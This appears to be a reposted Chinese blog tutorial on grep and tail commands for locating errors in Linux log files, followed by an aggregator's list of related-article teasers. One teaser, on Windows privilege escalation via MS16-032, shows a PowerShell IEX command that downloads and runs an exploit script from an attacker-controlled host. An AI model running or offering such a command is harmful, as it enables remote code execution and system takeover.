Linux 通过日志快速定位错误必掌握命令

news2024/12/23 17:44:13

@author: 放牛娃学编程

@CSDN:放牛娃学编程

@moto: 分享与热爱,不是大爱我不说

@放牛娃每日一语: 你改变不了出生、但是你可以改变自己

如果你是开发、运维人员,那你一定要收藏这篇文章 因为这里你能学到AI永远也给不了你的知识

Linux 通过日志快速定位错误必掌握命令

文章目录

  • Linux 通过日志快速定位错误必掌握命令
    • 一、这思维比任何宝藏文档都重要
    • 二、最少必要命令
    • 三、最后

一、这思维比任何宝藏文档都重要

​ 很多放牛娃们看到大而全的Linux命令总结相关文章,总是二话不说的就先把它收到自己的收藏夹里,可殊不知即使你收进了你的收藏夹里,当真正需要的时候你也想不到去查阅它。因为你的第一反应就是找度娘,或者找现如今的AI,也或许因为你收藏了太多,压根你就找不到原来收藏的那片文章了,而我这篇文章想告诉你:只要你掌握了下面思维(方法),你不用去收藏任何一篇博文,当然也包括我这篇。

  • 不要去记这些命令

    Linux相关命令这么多,记住全部肯定不可能,也没必要记住这些东西,因为有些命令可能随着版本更新,相关参数可能会调整,如果你死记这些命令,万一新的版本里做了更新,那不全废了

  • 需要有往上的思维

    这么多命令,每次用的时候都得百度?**那发明这些命令的作者们时间久了,他们也忘了怎么办?**所以肯定有个地方记录了这些命令的简易使用说明、及详细的文档(下面会告诉你用什么命令可以查看到这些内容

  • 咬牙尝试去看官方文档

    因为很多博文都是东抄抄、西抄抄,它们最终的来源就是官方文档,虽然很多官方文档都是英文文档,但是现在翻译插件这么强大,这不应该成为你看不懂英语的借口,咬牙学着去看,时间久了你就比其他人强,因为你的来源是一手的。

​ 像Linux命令相关文档,我也给下载下来了,具体如何找的,可以看看下面这篇文档,里面有提到

​ [Linux vi最少必备掌握命令](Linux vi最少必备掌握命令-CSDN博客)

Linux命令官方文档pdf部分截图如下

​ 文档地址链接:https://www.gnu.org/software/coreutils/manual/coreutils.html
在这里插入图片描述

二、最少必要命令

必须要学会的两个命令,其它命令你可以不记住,但是下面这两个命令必须要会:

  • help命令

    用help命令,可以快速查看某个命令的选项和基本用法, 语法: 对应命令 --help
    在这里插入图片描述

  • info命令

    用info命令,你可以深入了解某个命令的详细信息、背景和示例,语法:info 对应命令
    在这里插入图片描述

有了上面的思维及会这两个命令之后,我相信你一定会写出如何通过日志快速定位错误的相关命令

下面是通过日志快速定位错误最少必要掌握的命令,如果你不想去想,直接收藏这篇文章就行了。

放牛娃学编程再次重申,Linux命令的可选参数有些有很多,千万不要特意去死记硬背

下面日志文件名用test.log举例,这里的关键字用ERROR来举例

  • 在日志文件中查找到关键字前后20行的内容(文件不是实时一直插入日志的情况下使用)

    # 可以通过-C -A -B参数来控制关键字前后打印的内容,具体可以用我上面教的--help命令查看
    # 比如找到报错日志上下文20行,这方便定位到发生错误时的上下文内容
    grep -C 20 'ERROR' test.log
    
    # 如果上面命令要对关键字不区分大小写,可以加上-i参数,举例
    grep -i -C 20 'ERROR' test.log
    
  • 实时跟踪日志文件,查找关键字前后20行的内容(这用于实时跟踪日志文件定位关键字上下文非常有用)

    # 有时候日志刷的很快,日志文件也很大,这个时候就可以结合tail命令进行实时跟踪日志,然后让前端/接口 再次触发捕获到关键字上下文日志,从而定位问题点
    # tail 不加-n参数,默认是跟踪文件后面10行
    tail -n 100 -f test.log | grep -C 20 'ERROR'
    
  • 实时跟踪日志文件,过滤关键字前后20行的内容重定向到另外一个文件(这里以trace.log举例)

    # 这命令对现场工程老是抱怨日志文件太大很有帮助,其它的日志信息我们不需要,只需要报错关键位置上下文信息,然后将它重定向到另外一个文件,将小的文件发给开发即可
    tail -n 100 -f test.log | grep -C 20 'ERROR' > trace.log
    

这里给出的是grep、tail命令,当然你也可以用其它的命令去查看日志,有了上面的思维,我相信你很快可以上手。

三、最后

​ 当你阅读到这里,希望你记住的不是上面单独的一条条命令,而是文中开头所说的思维,因为这远比你记上上百条命令强的多。

如果需要该笔记pdf文档+Linux命令官方文档pdf,可以找放牛娃学编程

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1831226.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

MES里面有质量模块,为什么还要实施质量管理软件(QMS)

为什么一些知名头部的大厂,已经有了MES , 却还都去实施了质量管理软件(QMS)? 答:是这些MES里面的质量模块不能满足客户的需求。 那么来看看,从质量管理的角度来看,QMS软件系统是什么样子的? …

用 微 / 积分思想妙解关于等比数列的和

同理,也是微积分思想: 求 (\sum_{k1}^n q^k) 的和: 我们知道几何级数的求和公式: ∑ k 0 n q k 1 − q n 1 1 − q (对于 q ≠ 1 ) \sum_{k0}^n q^k \frac{1-q^{n1}}{1-q} \quad \text{(对于 } q \neq 1\text{)} k0∑n​qk…

物联网主机E6000:智慧安防的核心动力

随着科技的不断进步,物联网(IoT)技术已经深入到我们生活的各个领域,尤其是在智慧安防领域,物联网技术的应用正变得越来越广泛。物联网主机E6000作为一款高性能的智能设备,其在智慧安防系统中扮演着至关重要…

2024年应届生就业比惨大赛,即将一触即发,FPGA方向怎么样?

2024年应届生就业比惨大赛,即将一触即发, 如果你不想榜上有名, 就看看小编为你薅遍HR老师总结出来的就业秘籍~ 电气类专业 张雪峰老师评价:新能源汽车、光伏、风电在风口,适合县级以下老家就业,对于大城…

小白 | windows提权

1.CVE-2016-0099 (MS16-032) 这是一个Windows内核特权提升漏洞&#xff0c;利用该漏洞可以获得系统权限。 # 使用公开的POC进行利用&#xff0c;如 powershell -exec bypass IEX (New-Object Net.WebClient).DownloadString(http://<attacker_ip>/Invoke-MS16-032.ps1)…

Cesium加载Mapbox自定义地图

Cesium 加载影像地图&#xff0c;一般都是天地图&#xff0c;高德地图&#xff0c;必应地图&#xff0c;谷歌地图等。 如果真实项目中想要自定义地图的风格样式&#xff0c;为了配合相应的页面UI风格&#xff0c;这些公共免费的影像地图就满足不了需求。 但是MapBox可以支持自…

python之日志(三)--将捕获的异常写入日志中

1.日志级别 import logging #日志模块 #默认下只会从第3级开始打印 logging.debug(DEBUG级别) #1级 logging.info(INFO级别) #2级 logging.warning(WARNING级别) #3级 logging.error(ERROR级别) #4级 logging.critical(CRITICAL级别) #5级 默认第1和第2级的日志不会打印 …

原子阿波罗STM32F767程序的控制器改为STM32F407驱动LCD屏

由于手里没有原子大神的F429开发板&#xff0c;又还想学习原子大神的F429开发板程序&#xff0c;前几天&#xff0c;经过更换控制器&#xff0c;成功把原子大神的F429开发板程序用到了F407开发板上&#xff0c;驱动LCD屏显示成功&#xff0c;目的&#xff0c;就是熟悉原子大神的…

2024 年 5 月公链研报:监管调整与市场新动向

作者&#xff1a;stellafootprint.network 数据来源&#xff1a;公链 Research 页面 五月份&#xff0c;加密货币市场经历了重要的监管和政治动态。美国证券交易委员会&#xff08;SEC&#xff09;批准了现货以太坊 ETF 的初步申请文件&#xff0c;这一举措提振了以太坊及其…

2024年高考,应该选择哪些专业和学校?

2024年高考已经告一段落&#xff0c;目前&#xff0c;高考评卷工作正在有序进行&#xff0c;马上进入紧张时期的是考生如何选择院校&#xff0c;填报志愿。在分数限制下&#xff0c;选择哪些专业和好学校&#xff0c;需要综合考虑多个因素。以下是基于当前信息的一些建议&#…

环境科学SCI期刊,IF=8.5+,期刊发展势头非常好

一、期刊名称 SUSTAINABLE DEVELOPMENT 二、期刊简介概况 期刊类型&#xff1a;SCI 学科领域&#xff1a;环境科学与生态学 影响因子&#xff1a;8.562 中科院分区&#xff1a;2区 三、期刊征稿范围 该期刊是一本跨学科出版物&#xff0c;旨在解决和讨论实现可持续发展的…

看穿人性!现货白银交易的一些博弈心得

很多投资者认为现货白银交易最应该讲求的是交易技巧&#xff0c;但交易的技巧和套路是“死”的&#xff0c;行情走势却是“活”的&#xff0c;投资者需要在实践中不断地累积经验和总结心得&#xff0c;才能更加灵活地面对行情走势的变化&#xff0c;逐步达至盈利的理想彼岸。 无…

Python私教张大鹏 Vue3整合AntDesignVue之Form 表单

何时使用 用于创建一个实体或收集信息。 需要对输入的数据类型进行校验时。 表单 我们为 form 提供了以下三种排列方式&#xff1a; 水平排列&#xff1a;标签和表单控件水平排列&#xff1b;&#xff08;默认&#xff09; 垂直排列&#xff1a;标签和表单控件上下垂直排列…

js 实现将后端请求来的 Blob 数据保存到用户选择的任意目录

js实现将后端请求来的 Blob 数据保存到用户选择的任意目录 实现方式 实现方式 实现方式是使用 window 的 showSaveFilePicker 方法。Window 接口的 showSaveFilePicker() 方法用于显示一个文件选择器&#xff0c;以允许用户保存一个文件。可以选择一个已有文件覆盖保存&#xf…

一套上门家政小程序源码,java上门家政app源码,家政服务管理后台系统源代码

一套上门家政小程序源码&#xff0c;上门家政app源码&#xff0c;家政服务管理后台系统源码 家政上门系统开发端口组成&#xff1a;用户端app技工端apppc管理后台&#xff1a;Uniapp开发&#xff0c;系统可以打包&#xff1a;安卓、ios、h5、微信小程序、公众号。 一、用户端&…

Vue微前端架构与Qiankun实践理论指南

title: Vue微前端架构与Qiankun实践理论指南 date: 2024/6/15 updated: 2024/6/15 author: cmdragon excerpt: 这篇文章介绍了微前端架构概念&#xff0c;聚焦于如何在Vue.js项目中应用Qiankun框架实现模块化和组件化&#xff0c;以达到高效开发和维护的目的。讨论了Qiankun…

[数据集][实例分割]减速带分割数据集json+yolo格式5400张1类别

数据集格式&#xff1a;labelme格式(不包含mask文件&#xff0c;仅仅包含jpg图片和对应的json文件以及对应yolo格式txt) 图片数量(jpg文件个数)&#xff1a;5400 标注数量(json文件个数)&#xff1a;5400 标注数量(txt文件个数)&#xff1a;5400 标注类别数&#xff1a;1 标注…

Vim基础操作:常用命令、安装插件、在VS Code中使用Vim及解决Vim编辑键盘错乱

Vim模式 普通模式&#xff08;Normal Mode&#xff09;&#xff1a; 这是 Vim 的默认模式&#xff0c;用于执行文本编辑命令&#xff0c;如复制、粘贴、删除等。在此模式下&#xff0c;你可以使用各种 Vim 命令来操作文本。插入模式&#xff08;Insert Mode&#xff09;&#…

案例7.7_使用SFC/DISM工具修复系统

问题分享 用什么方法可以检测系统文件是否受损&#xff0c;又该如何修复呢?Windows 10操作系统可以用文件检查器检查和修复系统的受损文件&#xff0e;防范故障于未然。 &#xff08;1&#xff09;右击“开始”按钮.在弹出的快捷菜单中选择“命令提示符&#xff08;管理员&am…

全域推广和标准推广可以一起做吗?可行性分析结果如何?

作为全域时代的新赛道&#xff0c;全域推广从出现之日起便备受关注&#xff0c;许多创业者经常将其与标准推广进行对比或捆绑&#xff0c;类似于全域推广和标准推广的区别、全域推广和标准推广哪个好以及全域推广和标准推广可以一起做吗等问题也因此长期霸占该赛道相关话题榜单…